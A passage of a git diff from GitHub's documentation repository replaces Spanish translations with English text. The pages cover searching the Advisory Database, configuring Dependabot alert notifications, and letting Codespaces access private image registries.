record, where you can read more details about the vulnerability, its CVSS scores, and its qualitative severity level. For more information, see the "[National Vulnerability Database](https://nvd.nist.gov/)" from the National Institute of Standards and Technology. -El nivel de gravedad es uno de cuatro niveles posibles que se definen en el [Sistema de clasificación de vulnerabilidades comunes (CVSS), Sección 5](https://www.first.org/cvss/specification-document)". -- Bajo -- Medio/Moderado -- Alto -- Crítico +The severity level is one of four possible levels defined in the "[Common Vulnerability Scoring System (CVSS), Section 5](https://www.first.org/cvss/specification-document)." +- Low +- Medium/Moderate +- High +- Critical -La {% data variables.product.prodname_advisory_database %} utiliza los niveles del CVSS tal como se describen anteriormente. Si {% data variables.product.company_short %} obtiene un CVE, la {% data variables.product.prodname_advisory_database %} utilizará el CVSS versión 3.1. Si se importa el CVE, la {% data variables.product.prodname_advisory_database %} será compatible tanto con la versión 3.0 como con la 3.1 del CVSS. +The {% data variables.product.prodname_advisory_database %} uses the CVSS levels described above. If {% data variables.product.company_short %} obtains a CVE, the {% data variables.product.prodname_advisory_database %} uses CVSS version 3.1. If the CVE is imported, the {% data variables.product.prodname_advisory_database %} supports both CVSS versions 3.0 and 3.1. {% data reusables.repositories.github-security-lab %} -## Acceder a una asesoría en la {% data variables.product.prodname_advisory_database %} +## Accessing an advisory in the {% data variables.product.prodname_advisory_database %} -1. Navega hasta https://github.com/advisories. -2. Opcionalmente, para filtrar la lista, utiliza cualquiera de los menúes desplegables. ![Filtros desplegables](/assets/images/help/security/advisory-database-dropdown-filters.png) -3. Da clic en cualquier asesoría para ver los detalles. +1. Navigate to https://github.com/advisories. +2. Optionally, to filter the list, use any of the drop-down menus. + ![Dropdown filters](/assets/images/help/security/advisory-database-dropdown-filters.png) +3. Click on any advisory to view details. {% note %} -También se puede acceder a la base de datos utilizando la API de GraphQL. Para obtener más información, consulta la sección "[evento de webhook de `security_advisory`](/webhooks/event-payloads/#security_advisory)". +The database is also accessible using the GraphQL API. For more information, see the "[`security_advisory` webhook event](/webhooks/event-payloads/#security_advisory)." {% endnote %} -## Buscar en la {% data variables.product.prodname_advisory_database %} por coincidencia exacta +## Searching the {% data variables.product.prodname_advisory_database %} -Puedes buscar la base de datos y utilizar los calificadores para definir más tu búsqueda. Por ejemplo, puedes buscar las asesorías que se hayan creado en una fecha, ecosistema o biblioteca específicos. +You can search the database, and use qualifiers to narrow your search. For example, you can search for advisories created on a certain date, in a specific ecosystem, or in a particular library. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} {% data reusables.search.date_gt_lt %} -| Qualifier | Ejemplo | -| --------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `GHSA-ID` | [**GHSA-49wp-qq6x-g2rf**](https://github.com/advisories?query=GHSA-49wp-qq6x-g2rf) mostrará la asesoría con esta ID de {% data variables.product.prodname_advisory_database %}. | -| `CVE-ID` | [**CVE-2020-28482**](https://github.com/advisories?query=CVE-2020-28482) mostrará la asesoría con este número de ID de CVE. | -| `ecosystem:ECOSYSTEM` | [**ecosystem:npm**](https://github.com/advisories?utf8=%E2%9C%93&query=ecosystem%3Anpm) mostrará únicamente asesorías que afecten paquetes NPM. | -| `severity:LEVEL` | [**severity:high**](https://github.com/advisories?utf8=%E2%9C%93&query=severity%3Ahigh) mostrará únicamente asesorías con nivel de gravedad alto. | -| `affects:LIBRARY` | [**affects:lodash**](https://github.com/advisories?utf8=%E2%9C%93&query=affects%3Alodash) mostrará únicamente asesorías que afecten la biblioteca lodash. | -| `cwe:ID` | [**cwe:352**](https://github.com/advisories?query=cwe%3A352) mostrará únicamente las asesorías con este número de CWE. | -| `credit:USERNAME` | [**credit:octocat**](https://github.com/advisories?query=credit%3Aoctocat) mostrará únicamente las asesorías que se atribuyen a la cuenta de usuario "octocat". | -| `sort:created-asc` | [**sort:created-asc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Acreated-asc) organizará los resultados para mostrar las asesorías más viejas primero. | -| `sort:created-desc` | [**sort:created-desc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Acreated-desc) organizará los resultados para mostrar las asesorías más nuevas primero. | -| `sort:updated-asc` | [**sort:updated-asc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Aupdated-asc) organizará los resultados para mostrar aquellos actualizados menos recientemente. | -| `sort:updated-desc` | [**sort:updated-desc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Aupdated-desc) organizará los resultados para mostrar los aquellos actualizados más recientemente. | -| `is:withdrawn` | [**is:withdrawn**](https://github.com/advisories?utf8=%E2%9C%93&query=is%3Awithdrawn) mostrará únicamente las asesorías que se han retirado. | -| `created:YYYY-MM-DD` | [**created:2021-01-13**](https://github.com/advisories?utf8=%E2%9C%93&query=created%3A2021-01-13) mostrará únicamente las asesorías creadas en esta fecha. | -| `updated:YYYY-MM-DD` | [**updated:2021-01-13**](https://github.com/advisories?utf8=%E2%9C%93&query=updated%3A2021-01-13) mostrará únicamente asesorías actualizadas en esta fecha. | +| Qualifier | Example | +| ------------- | ------------- | +| `GHSA-ID`| [**GHSA-49wp-qq6x-g2rf**](https://github.com/advisories?query=GHSA-49wp-qq6x-g2rf) will show the advisory with this {% data variables.product.prodname_advisory_database %} ID. | +| `CVE-ID`| [**CVE-2020-28482**](https://github.com/advisories?query=CVE-2020-28482) will show the advisory with this CVE ID number. | +| `ecosystem:ECOSYSTEM`| [**ecosystem:npm**](https://github.com/advisories?utf8=%E2%9C%93&query=ecosystem%3Anpm) will show only advisories affecting NPM packages. | +| `severity:LEVEL`| [**severity:high**](https://github.com/advisories?utf8=%E2%9C%93&query=severity%3Ahigh) will show only advisories with a high severity level. | +| `affects:LIBRARY`| [**affects:lodash**](https://github.com/advisories?utf8=%E2%9C%93&query=affects%3Alodash) will show only advisories affecting the lodash library. | +| `cwe:ID`| [**cwe:352**](https://github.com/advisories?query=cwe%3A352) will show only advisories with this CWE number. | +| `credit:USERNAME`| [**credit:octocat**](https://github.com/advisories?query=credit%3Aoctocat) will show only advisories credited to the "octocat" user account. | +| `sort:created-asc`| [**sort:created-asc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Acreated-asc) will sort by the oldest advisories first. | +| `sort:created-desc`| [**sort:created-desc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Acreated-desc) will sort by the newest advisories first. | +| `sort:updated-asc`| [**sort:updated-asc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Aupdated-asc) will sort by the least recently updated first. | +| `sort:updated-desc`| [**sort:updated-desc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Aupdated-desc) will sort by the most recently updated first. | +| `is:withdrawn`| [**is:withdrawn**](https://github.com/advisories?utf8=%E2%9C%93&query=is%3Awithdrawn) will show only advisories that have been withdrawn. | +| `created:YYYY-MM-DD`| [**created:2021-01-13**](https://github.com/advisories?utf8=%E2%9C%93&query=created%3A2021-01-13) will show only advisories created on this date. | +| `updated:YYYY-MM-DD`| [**updated:2021-01-13**](https://github.com/advisories?utf8=%E2%9C%93&query=updated%3A2021-01-13) will show only advisories updated on this date. | -## Visualizar tus repositorios vulnerables +## Viewing your vulnerable repositories -Podrás ver cuáles de tus repositorios tienen una alerta del {% data variables.product.prodname_dependabot %} para cualqueir vulnerabilidad de la {% data variables.product.prodname_advisory_database %}. Para ver un repositorio vulnerable, debes tener acceso a las {% data variables.product.prodname_dependabot_alerts %} de este. Para obtener más información, consulta la sección "[Acerca de las alertas para las dependencias vulnerables](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies#access-to-dependabot-alerts)". +For any vulnerability in the {% data variables.product.prodname_advisory_database %}, you can see which of your repositories have a {% data variables.product.prodname_dependabot %} alert for that vulnerability. To see a vulnerable repository, you must have access to {% data variables.product.prodname_dependabot_alerts %} for that repository. For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies#access-to-dependabot-alerts)." -1. Navega hasta https://github.com/advisories. -2. Haz clic en una asesoría. -3. En la parte superior de la página de la asesoría, haz clic en **Alertas del dependabot**. ![Las alertas del dependabot](/assets/images/help/security/advisory-database-dependabot-alerts.png) -4. Opcionalmente, para filtrar la lista, utiliza la barra de búsqueda o los menús desplegables. El menú desplegable de "Organización" te permite filtrar las {% data variables.product.prodname_dependabot_alerts %} por propietario (organización o usuario). ![Barra de búsqueda y menús desplegables para filtrar alertas](/assets/images/help/security/advisory-database-dependabot-alerts-filters.png) -5. Para obtener más detalles de la vulnerabilidad y para encontrar consejos sobre cómo arreglar el repositorio vulnerable, da clic en el nombre del repositorio. +1. Navigate to https://github.com/advisories. +2. Click an advisory. +3. At the top of the advisory page, click **Dependabot alerts**. + ![Dependabot alerts](/assets/images/help/security/advisory-database-dependabot-alerts.png) +4. Optionally, to filter the list, use the search bar or the drop-down menus. The "Organization" drop-down menu allows you to filter the {% data variables.product.prodname_dependabot_alerts %} per owner (organization or user). + ![Search bar and drop-down menus to filter alerts](/assets/images/help/security/advisory-database-dependabot-alerts-filters.png) +5. For more details about the vulnerability, and for advice on how to fix the vulnerable repository, click the repository name. -## Leer más +## Further reading -- [Definición de MITRE de "vulnerabilidad"](https://cve.mitre.org/about/terminology.html#vulnerability) +- MITRE's [definition of "vulnerability"](https://cve.mitre.org/about/terminology.html#vulnerability) diff --git a/translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-notifications-for-vulnerable-dependencies.md b/translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-notifications-for-vulnerable-dependencies.md index f0e6d1aa20..f0d3791232 100644 --- a/translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-notifications-for-vulnerable-dependencies.md +++ b/translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-notifications-for-vulnerable-dependencies.md @@ -1,7 +1,7 @@ --- -title: Configurar las notificaciones para las dependencias vulnerables -shortTitle: Configurar notificaciones -intro: 'Optimiza la forma en la que recibes las notificaciones sobre las alertas del {% data variables.product.prodname_dependabot %}.' +title: Configuring notifications for vulnerable dependencies +shortTitle: Configuring notifications +intro: 'Optimize how you receive notifications about {% data variables.product.prodname_dependabot_alerts %}.' redirect_from: - /github/managing-security-vulnerabilities/configuring-notifications-for-vulnerable-dependencies - /code-security/supply-chain-security/configuring-notifications-for-vulnerable-dependencies @@ -19,49 +19,48 @@ topics: - Dependencies - Repositories --- - -## Acerca de las notificaciones para las dependencias vulnerables +## About notifications for vulnerable dependencies -Cuando el {% data variables.product.prodname_dependabot %} detecta las dependencias vulnerables en tus repositorios, generamos una alerta del {% data variables.product.prodname_dependabot %} y la mostramos en la pestaña de seguridad del repositorio. {% data variables.product.product_name %} notifica a los mantenedores de los repositorios afectados sobre la alerta nueva de acuerdo con sus preferencias de notificaciones.{% ifversion fpt or ghec %}El {% data variables.product.prodname_dependabot %} se habilita predeterminadamente en todos los repositorios públicos. En el caso de las {% data variables.product.prodname_dependabot_alerts %}, predeterminadamente, recibirás {% data variables.product.prodname_dependabot_alerts %} por correo electrónico, agrupadas por la vulnerabilidad específica. -{% endif %} +When {% data variables.product.prodname_dependabot %} detects vulnerable dependencies in your repositories, we generate a {% data variables.product.prodname_dependabot %} alert and display it on the Security tab for the repository. {% data variables.product.product_name %} notifies the maintainers of affected repositories about the new alert according to their notification preferences.{% ifversion fpt or ghec %} {% data variables.product.prodname_dependabot %} is enabled by default on all public repositories. For {% data variables.product.prodname_dependabot_alerts %}, by default, you will receive {% data variables.product.prodname_dependabot_alerts %} by email, grouped by the specific vulnerability. +{% endif %} -{% ifversion fpt or ghec %}Si eres un propietario de organización, puedes habilitar o inhabilitar las {% data variables.product.prodname_dependabot_alerts %} para todos los repositorios en tu organización con un clic. También puedes configurar si se habilitará o inhabilitará la detección de dependencias vulnerables para los repositorios recién creados. Para obtener más información, consulta la sección "[Administrar la configuración de análisis y seguridad para tu organización](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization#enabling-or-disabling-a-feature-for-all-new-repositories-when-they-are-added)". +{% ifversion fpt or ghec %}If you're an organization owner, you can enable or disable {% data variables.product.prodname_dependabot_alerts %} for all repositories in your organization with one click. You can also set whether the detection of vulnerable dependencies will be enabled or disabled for newly-created repositories. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization#enabling-or-disabling-a-feature-for-all-new-repositories-when-they-are-added)." {% endif %} {% ifversion ghes or ghae-issue-4864 %} -Predeterminadamente, si el propietario de tu empresa configuró las notificaciones por correo electrónico en ella, recibirás las {% data variables.product.prodname_dependabot_alerts %} por este medio. +By default, if your enterprise owner has configured email for notifications on your enterprise, you will receive {% data variables.product.prodname_dependabot_alerts %} by email. -Los propietarios de empresas también pueden habilitar las {% data variables.product.prodname_dependabot_alerts %} sin notificaciones. Para obtener más información, consulta la sección "[Habilitar la gráfica de dependencias y las {% data variables.product.prodname_dependabot_alerts %} en tu cuenta empresarial](/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account)". +Enterprise owners can also enable {% data variables.product.prodname_dependabot_alerts %} without notifications. For more information, see "[Enabling the dependency graph and {% data variables.product.prodname_dependabot_alerts %} on your enterprise account](/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account)." {% endif %} -## Configurar las notificaciones para las {% data variables.product.prodname_dependabot_alerts %} +## Configuring notifications for {% data variables.product.prodname_dependabot_alerts %} {% ifversion fpt or ghes > 3.1 or ghec %} -Cuando se detecta una alerta nueva del {% data variables.product.prodname_dependabot %}, {% data variables.product.product_name %} notifica a todos los usuarios del repositorio con acceso a las {% data variables.product.prodname_dependabot_alerts %} de acuerdo con sus preferencias de notificación. Recibirás las alertas si estás observando el repositorio, si habilitas las notificaciones para las alertas de seguridad para toda la actividad del repositorio y si es que no lo estás ignorando. Para obtener más información, consulta la sección "[Configurar las notificaciones](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository)". +When a new {% data variables.product.prodname_dependabot %} alert is detected, {% data variables.product.product_name %} notifies all users with access to {% data variables.product.prodname_dependabot_alerts %} for the repository according to their notification preferences. You will receive alerts if you are watching the repository, have enabled notifications for security alerts or for all the activity on the repository, and are not ignoring the repository. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository)." {% endif %} -Puedes configurar los ajustes de notificaciones para ti mismo o para tu organización desde el menú desplegable de administrar notificaciones {% octicon "bell" aria-label="The notifications bell" %} que se muestra en la parte superior de cada página. Para obtener más información, consulta la sección "[Configurar las notificaciones](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#choosing-your-notification-settings)". +You can configure notification settings for yourself or your organization from the Manage notifications drop-down {% octicon "bell" aria-label="The notifications bell" %} shown at the top of each page. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#choosing-your-notification-settings)." {% data reusables.notifications.vulnerable-dependency-notification-delivery-method-customization2 %} {% data reusables.notifications.vulnerable-dependency-notification-options %} - ![Opciones de las {% data variables.product.prodname_dependabot_alerts %}](/assets/images/help/notifications-v2/dependabot-alerts-options.png) + ![{% data variables.product.prodname_dependabot_alerts %} options](/assets/images/help/notifications-v2/dependabot-alerts-options.png) {% note %} -**Nota:** Puedes filtrar tus notificaciones en {% data variables.product.company_short %} para mostrar las alertas del {% data variables.product.prodname_dependabot %}. Para recibir más información, consulta la sección "[Administrar las notificaciones desde tu bandeja de entrada](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#dependabot-custom-filters)". +**Note:** You can filter your notifications on {% data variables.product.company_short %} to show {% data variables.product.prodname_dependabot_alerts %}. For more information, see "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#dependabot-custom-filters)." {% endnote %} -{% data reusables.repositories.security-alerts-x-github-severity %}Para obtener más información, consulta la sección "[Configurar notificaciones](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#filtering-email-notifications)". +{% data reusables.repositories.security-alerts-x-github-severity %} For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#filtering-email-notifications)." -## Cómo reducir el ruido de las notificaciones para las dependencias vulnerables +## How to reduce the noise from notifications for vulnerable dependencies -Si te preocupa recibir demasiadas notificaciones para las {% data variables.product.prodname_dependabot_alerts %}, te recomendamos que te unas al resumen semanal por correo electrónico o que apagues las notificaciones mientras mantienes habilitadas las {% data variables.product.prodname_dependabot_alerts %}. Aún puedes navegar para ver tus {% data variables.product.prodname_dependabot_alerts %} en la pestaña de seguridad de tu repositorio. Para obtener más información, consulta la sección "[Visualizar y actualizar las dependencias vulnerables en tu repositiorio](/github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository)". +If you are concerned about receiving too many notifications for {% data variables.product.prodname_dependabot_alerts %}, we recommend you opt into the weekly email digest, or turn off notifications while keeping {% data variables.product.prodname_dependabot_alerts %} enabled. You can still navigate to see your {% data variables.product.prodname_dependabot_alerts %} in your repository's Security tab. For more information, see "[Viewing and updating vulnerable dependencies in your repository](/github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository)." -## Leer más +## Further reading -- "[Configurar notificaciones](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications)" -- "[Administrar las notificaciones desde tu bandeja de entrada](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#supported-is-queries)" +- "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications)" +- "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#supported-is-queries)" diff --git a/translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/index.md b/translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/index.md index 57541c5df2..d629122ab7 100644 --- a/translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/index.md +++ b/translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/index.md @@ -1,6 +1,6 @@ --- -title: Administrar vulnerabilidades en las dependencias de tus proyectos -intro: 'Puedes rastrear las dependencias de tus repositorios y recibir alertas de seguridad de {% ifversion fpt or ghes %}{% data variables.product.prodname_dependabot_alerts %}{% else %}{% endif %} cuando {% data variables.product.product_name %} detecta dependencias vulnerables.' +title: Managing vulnerabilities in your project's dependencies +intro: 'You can track your repository''s dependencies and receive {% data variables.product.prodname_dependabot_alerts %} when {% data variables.product.product_name %} detects vulnerable dependencies.' redirect_from: - /articles/updating-your-project-s-dependencies/ - /articles/updating-your-projects-dependencies/ @@ -30,6 +30,6 @@ children: - /viewing-and-updating-vulnerable-dependencies-in-your-repository - /troubleshooting-the-detection-of-vulnerable-dependencies - /troubleshooting-dependabot-errors -shortTitle: Arreglar dependencias vulnerables +shortTitle: Fix vulnerable dependencies --- diff --git a/translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies.md b/translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies.md index b03339863e..2e0ad140d1 100644 --- a/translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies.md +++ b/translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies.md @@ -42,7 +42,7 @@ The results of dependency detection reported by {% data variables.product.produc ## Why don't I get vulnerability alerts for some ecosystems? -{% data variables.product.prodname_dotcom %} limits its support for vulnerability alerts to a set of ecosystems where we can provide high-quality, actionable data. Curated vulnerabilities in the {% data variables.product.prodname_advisory_database %}, the dependency graph, {% ifversion fpt or ghec %}{% data variables.product.prodname_dependabot %} security updates, {% endif %}and {% data variables.product.prodname_dependabot %} alerts are provided for several ecosystems, including Java’s Maven, JavaScript’s npm and Yarn, .NET’s NuGet, Python’s pip, Ruby's RubyGems, and PHP’s Composer. We'll continue to add support for more ecosystems over time. For an overview of the package ecosystems that we support, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#supported-package-ecosystems)." +{% data variables.product.prodname_dotcom %} limits its support for vulnerability alerts to a set of ecosystems where we can provide high-quality, actionable data. Curated vulnerabilities in the {% data variables.product.prodname_advisory_database %}, the dependency graph, {% ifversion fpt or ghec %}{% data variables.product.prodname_dependabot %} security updates, {% endif %}and {% data variables.product.prodname_dependabot_alerts %} are provided for several ecosystems, including Java’s Maven, JavaScript’s npm and Yarn, .NET’s NuGet, Python’s pip, Ruby's RubyGems, and PHP’s Composer. We'll continue to add support for more ecosystems over time. For an overview of the package ecosystems that we support, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#supported-package-ecosystems)." It's worth noting that {% data variables.product.prodname_dotcom %} Security Advisories may exist for other ecosystems. The information in a security advisory is provided by the maintainers of a particular repository. This data is not curated in the same way as information for the supported ecosystems. {% ifversion fpt or ghec %}For more information, see "[About {% data variables.product.prodname_dotcom %} Security Advisories](/github/managing-security-vulnerabilities/about-github-security-advisories)."{% endif %} diff --git a/translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/viewing-and-updating-vulnerable-dependencies-in-your-repository.md b/translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/viewing-and-updating-vulnerable-dependencies-in-your-repository.md index 2d6aa9f46c..c2a6b0c128 100644 --- a/translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/viewing-and-updating-vulnerable-dependencies-in-your-repository.md +++ b/translations/es-ES/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/viewing-and-updating-vulnerable-dependencies-in-your-repository.md @@ -25,7 +25,7 @@ topics: {% data reusables.dependabot.beta-security-and-version-updates %} {% data reusables.dependabot.enterprise-enable-dependabot %} -Your repository's {% data variables.product.prodname_dependabot %} alerts tab lists all open and closed {% data variables.product.prodname_dependabot_alerts %}{% ifversion fpt or ghec or ghes > 3.2 %} and corresponding {% data variables.product.prodname_dependabot_security_updates %}{% endif %}. You can sort the list of alerts by selecting the drop-down menu, and you can click into specific alerts for more details. For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)." +Your repository's {% data variables.product.prodname_dependabot_alerts %} tab lists all open and closed {% data variables.product.prodname_dependabot_alerts %}{% ifversion fpt or ghec or ghes > 3.2 %} and corresponding {% data variables.product.prodname_dependabot_security_updates %}{% endif %}. You can sort the list of alerts by selecting the drop-down menu, and you can click into specific alerts for more details. For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)." {% ifversion fpt or ghec or ghes > 3.2 %} You can enable automatic security updates for any repository that uses {% data variables.product.prodname_dependabot_alerts %} and the dependency graph. For more information, see "[About {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates)." diff --git a/translations/es-ES/content/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry.md b/translations/es-ES/content/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry.md index 99cc15073e..b65234f96f 100644 --- a/translations/es-ES/content/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry.md +++ b/translations/es-ES/content/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry.md @@ -1,16 +1,16 @@ --- -title: Permitir que tu codespace acceda a una imagen de registro privada -intro: 'Puedes utilizar secretos para permitir que los {% data variables.product.prodname_codespaces %} accedan a un registro de imagen privada' +title: Allowing your codespace to access a private image registry +intro: 'You can use secrets to allow {% data variables.product.prodname_codespaces %} to access a private image registry' versions: fpt: '*' ghec: '*' topics: - Codespaces product: '{% data reusables.gated-features.codespaces %}' -shortTitle: Registro de imagen privado +shortTitle: Private image registry --- -## Acerca de los registros de imagen y {% data variables.product.prodname_codespaces %} privados +## About private image registries and {% data variables.product.prodname_codespaces %} A registry is a secure space for storing, managing, and fetching private container images. You may use one to store one or more devcontainers. There are many examples of registries, such as {% data variables.product.prodname_dotcom %} Container Registry, Azure Container Registry, or DockerHub. @@ -32,7 +32,7 @@ By default, when you publish a container image to {% data variables.product.prod This behavior is controlled by the **Inherit access from repo** option. **Inherit access from repo** is selected by default when publishing via {% data variables.product.prodname_actions %}, but not when publishing directly to {% data variables.product.prodname_dotcom %} Container Registry using a Personal Access Token (PAT). -If the **Inherit access from repo** option was not selected when the image was published, you can manually add the repository to the published container image's access controls. Para obtener más información, consulta la sección "[Configurar el control de accesos y la visibilidad de un paquete](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#inheriting-access-for-a-container-image-from-a-repository)". +If the **Inherit access from repo** option was not selected when the image was published, you can manually add the repository to the published container image's access controls. For more information, see "[Configuring a package's access control and visibility](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#inheriting-access-for-a-container-image-from-a-repository)." ### Accessing an image published to the organization a codespace will be launched in @@ -52,21 +52,21 @@ We recommend publishing images via {% data variables.product.prodname_actions %} ## Accessing images stored in other container registries -If you are accessing a container image from a registry that isn't {% data variables.product.prodname_dotcom %} Container Registry, {% data variables.product.prodname_codespaces %} checks for the presence of three secrets, which define the server name, username, and personal access token (PAT) for a container registry. Si se encuentran estos secretos, {% data variables.product.prodname_codespaces %} hará que el registro esté disponible dentro de tu codespace. +If you are accessing a container image from a registry that isn't {% data variables.product.prodname_dotcom %} Container Registry, {% data variables.product.prodname_codespaces %} checks for the presence of three secrets, which define the server name, username, and personal access token (PAT) for a container registry. If these secrets are found, {% data variables.product.prodname_codespaces %} will make the registry available inside your codespace. - `<*>_CONTAINER_REGISTRY_SERVER` - `<*>_CONTAINER_REGISTRY_USER` - `<*>_CONTAINER_REGISTRY_PASSWORD` -Puedes almacenar los secretos a nivel de repositorio, organización o usuario, lo cual te permite compartirlos de forma segura entre diferentes codespaces. When you create a set of secrets for a private image registry, you need to replace the "<*>" in the name with a consistent identifier. Para obtener más información, consulta las secciones "[Administrar los secretos cifrados para tus codespaces](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces)" y "[Administrar los secretos cifrados de tu repositorio y organización para los Codespaces](/codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-codespaces)". +You can store secrets at the user, repository, or organization-level, allowing you to share them securely between different codespaces. When you create a set of secrets for a private image registry, you need to replace the "<*>" in the name with a consistent identifier. For more information, see "[Managing encrypted secrets for your codespaces](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces)" and "[Managing encrypted secrets for your repository and organization for Codespaces](/codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-codespaces)." -Si estás configurando secretos a nivel de organización o de usuario, asegúrate de asignarlos al repositorio en el que crearás el codespace eligiendo una política de acceso desde la lista desplegable. +If you are setting the secrets at the user or organization level, make sure to assign those secrets to the repository you'll be creating the codespace in by choosing an access policy from the dropdown list. -![Ejemplo de secreto de registro de imagen](/assets/images/help/codespaces/secret-repository-access.png) +![Image registry secret example](/assets/images/help/codespaces/secret-repository-access.png) -### Secretos de ejemplo +### Example secrets -Para los registros de imagen privados en Azure, podrías crear los siguientes secretos: +For a private image registry in Azure, you could create the following secrets: ``` ACR_CONTAINER_REGISTRY_SERVER = mycompany.azurecr.io @@ -74,21 +74,21 @@ ACR_CONTAINER_REGISTRY_USER = acr-user-here ACR_CONTAINER_REGISTRY_PASSWORD = ``` -Para obtener más información sobre los registros de imagen comunes, consulta la sección "[Servidores de registro de imagen comunes](#common-image-registry-servers)". +For information on common image registries, see "[Common image registry servers](#common-image-registry-servers)." -![Ejemplo de secreto de registro de imagen](/assets/images/help/settings/codespaces-image-registry-secret-example.png) +![Image registry secret example](/assets/images/help/settings/codespaces-image-registry-secret-example.png) -Una vez que hayas agregado los secretos, podría ser que necesites parar y luego iniciar el codespace en el que estás para que las variables de ambiente nuevas pasen en el contenedor. Para obtener más información, consulta la sección "[Suspender o detener un codespace](/codespaces/codespaces-reference/using-the-command-palette-in-codespaces#suspending-or-stopping-a-codespace)". +Once you've added the secrets, you may need to stop and then start the codespace you are in for the new environment variables to be passed into the container. For more information, see "[Suspending or stopping a codespace](/codespaces/codespaces-reference/using-the-command-palette-in-codespaces#suspending-or-stopping-a-codespace)." -### Servidores de registro de imagen comunes +### Common image registry servers -Algunos de los servidores de registro de imagen comunes se listan a continuación: +Some of the common image registry servers are listed below: - [DockerHub](https://docs.docker.com/engine/reference/commandline/info/) - `https://index.docker.io/v1/` -- [Registro de Contenedores de GitHub](/packages/working-with-a-github-packages-registry/working-with-the-container-registry) - `ghcr.io` -- [Registro de Contenedores de Azure](https://docs.microsoft.com/azure/container-registry/) - `.azurecr.io` +- [GitHub Container Registry](/packages/working-with-a-github-packages-registry/working-with-the-container-registry) - `ghcr.io` +- [Azure Container Registry](https://docs.microsoft.com/azure/container-registry/) - `.azurecr.io` - [AWS Elastic Container Registry](https://docs.aws.amazon.com/AmazonECR/latest/userguide/Registries.html) - `.dkr.ecr..amazonaws.com` -- [Registro de Contenedores de Google 